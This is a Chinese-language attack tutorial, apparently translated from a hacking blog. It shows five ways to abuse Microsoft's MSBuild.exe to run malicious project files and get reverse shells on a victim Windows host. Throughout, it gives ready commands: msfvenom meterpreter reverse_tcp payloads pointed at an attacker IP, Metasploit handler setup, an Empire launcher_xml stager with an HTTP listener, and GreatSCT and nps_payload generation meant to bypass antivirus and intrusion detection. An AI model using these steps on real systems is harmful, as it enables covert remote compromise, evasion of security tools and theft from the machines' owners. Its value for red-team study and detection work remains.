一、MSbuild.exe簡介
Microsoft Build Engine是一個用於構建應用程序的平台。此引擎也被稱為msbuild,它為項目文件提供一個XML模式,該模式控制構建平台如何處理和構建軟件。Visual Studio使用MSBuild,但它不依賴於Visual Studio。通過在項目或解決方案文件中調用msbuild.exe,可以在未安裝Visual Studio的環境中編譯和生成程序。。
Visual Studio使用MSBuild加載和生成托管項目。Visual Studio中的項目文件(.csproj, .vbproj, .vcxproj和其他)包含MSBuild XML代碼。
二、攻擊方法
1.第一種方法:使用Msfvenom生成CSharp文件
我們使用Microsoft Visual Studio創建帶有*.csproj后綴的C#(C Sharp)編程項目,該后綴以msbuild格式保存,以便使用msbuild平台將其編譯為可執行程序。
在惡意程序的生成並執行下,我們可以獲得受害者主機的反向shell。因此,現在我們將生成file.csproj文件,為此,首先通過msfvenom生成c#的shellcode。然后,shellcode將被放入到我們的file.csproj中,如下所示
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp
上面生成的shellcode應該放在XML文件中,你可以從GitHub下載這個XML文件,它有被MSBuild編譯和執行的代碼。此XML文件應保存為file.csproj,並且必須通過MSBuild運行才能獲得Meterpreter會話。
注意:從C#shellcode中替換shellcode值,然后將buf重命名為shellcode,如下圖所示:
可以從Visual Studio或命令窗口運行msbuild。通過使用Visual Studio,您可以在.NET框架的任意一個版本上運行編譯一個應用程序。
例如,您可以在32位平台上的.NET Framework 2.0上運行編譯應用程序,並且您可以在64位平台上的.NET Framework 4.5上運行編譯相同的應用程序。編譯到多個框架的任務被稱為多目標。
要了解有關msbuild的更多信息,請閱讀此文章鏈接:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015
現在啟動多處理程序以獲取meterpreter會話,並使用msbuild.exe在目標路徑C:\windows\microsoft.net\framework\v4.0.30319執行file.csproj文件,如圖所示:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
注意:您需要在此位置保存惡意exploit(XML/csproj)
C:\windows\microsoft.net\framework\v4.0.30319\,然后使用命令提示符執行此文件
use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.109 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit
如您所見,我們將擁有受害者的meterpreter session ,如下所示:
2.第二種方法:生成XML文件以利用MSBuild
如上所述,msbuild使用基於XML的項目文件格式,該格式簡單且可擴展,因此我們可以將生成的file.csproj重命名為file.xml,然后在目標路徑上使用msbuild.exe再次運行file.xml:c:\windows\microsoft.net\framework\v4.0.30319,如圖所示。
use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.109 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit
如您所見,我們將擁有受害者的meterpreter session ,如下所示:
3.第三種方法:Nps_Payload腳本
此腳本將為基本的入侵檢測的逃逸生成payload。它利用了來自幾個不同來源的公開技術。由Larry Spohn(@spoonman1091)編寫,Payload由Ben Mauch(@ben0xa)編寫,又名Dirty_Ben。你可以從github下載它。
Nps_payload將生成可以使用msbuild.exe和mshta.exe執行的payload,以通過meterpreter會話獲取受害者主機的反向連接。
按照以下步驟生成payload:
- 從GitHub下載nps exploit后,運行./nps_payload.py腳本
- 輸入1,然后選擇選項“generate msbuild/nps/msfF”
- 再次輸入1並選擇payload選項“windows / meterpreter / reverse_tcp”
這將在XML文件中生成payload,在目標位置C:\windows\microsoft.net\framework\v4.0.30319中發送此文件,與前面的方法相同,並在新終端中同時運行下面的命令以啟動偵聽器。
msfconsole -r msbuild_nps.rc
現在重復上面的步驟,使用命令提示符執行msbuild_nps.xml,並通過meterpreter獲取反向連接,如下所示:
4.第四種方法:PowerShell Empire
對於我們的下一個msbuild攻擊方法,我們將使用empire。empire是一款后開發框架。到目前為止,我們已經將我們的XML工具與Metasploit匹配,但在這種方法中,我們將使用empire框架。它只是基於python的PowerShell windows代理,這使得它非常有用。Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier開發。您可以從https://github.com/EmpireProject/Empire下載此框架。
要獲得empire的基本指南,請訪問我們的文章:
https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
啟動Empire框架后,輸入listener以檢查是否有任何活動的偵聽器。如下圖所示,沒有活動的偵聽器。所以要設置一個偵聽器類型
listeners uselistner http set Host http://192.168.1.107 execute
使用上述命令,您將擁有一個活動的偵聽器。輸入back以退出偵聽器,以便啟動PowerShell。
對於我們的msbuild攻擊,我們將使用stager。empire中的stager是一段代碼段,它允許我們的惡意代碼通過被感染主機上的代理運行。因此,對於這種類型,請輸入以下命令:
usestager windows/launcher_xml set Listener http execute
usestager將創建一個惡意代碼文件,該文件將保存在名為launcher.xml的/tmp中。
一旦文件運行,我們將在偵聽器上獲得結果。通過鍵入以下命令運行受害者的文件:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml
要查看是否有會話,請打開輸入命令“agents”。這樣做將向您顯示您擁有的會話的名稱。要訪問該會話請輸入以下命令:
interact A8H14C7L
上面的命令將允許您訪問會話
sysinfo
5.第五種方法:GreatSCT
GreatSCT是一款允許您使用Metasploit exploit 並允許它繞過大多數反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。您可以從這里下載:https://github.com/GreatSCT/GreatSCT
下載並執行后,輸入以下命令以訪問模塊:
use Bypass
現在查看payload列表類型:
list
現在,從payload列表中,您可以選擇任何目標進行所需的攻擊。但對於這次攻擊,我們將使用:
use msbuild/meterpreter/rev_tcp.py
執行命令后,輸入以下命令:
set lhost 192.168.1.107 generate
在生成payload時,它將要求您為payload提供一個名稱。默認情況下,它將以“payload”作為名稱。我們將msbuild作為exploit名稱,輸出代碼將保存在XML中。
現在,創建了兩個文件。一個Metasploit RC文件和另外一個msbuild.xml文件。
首先,在/usr/share/greatsct output/source中通過輸入以下命令啟動python的服務器:
python -m SimpleHTTPServer 80
通過輸入以下命令運行受害者的文件:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe msbuild.xml

同時,使用資源文件啟動multi/handler。為此,輸入以下命令:
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
我們擁有一個meterpreter會話,如圖所示:
參考文章:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017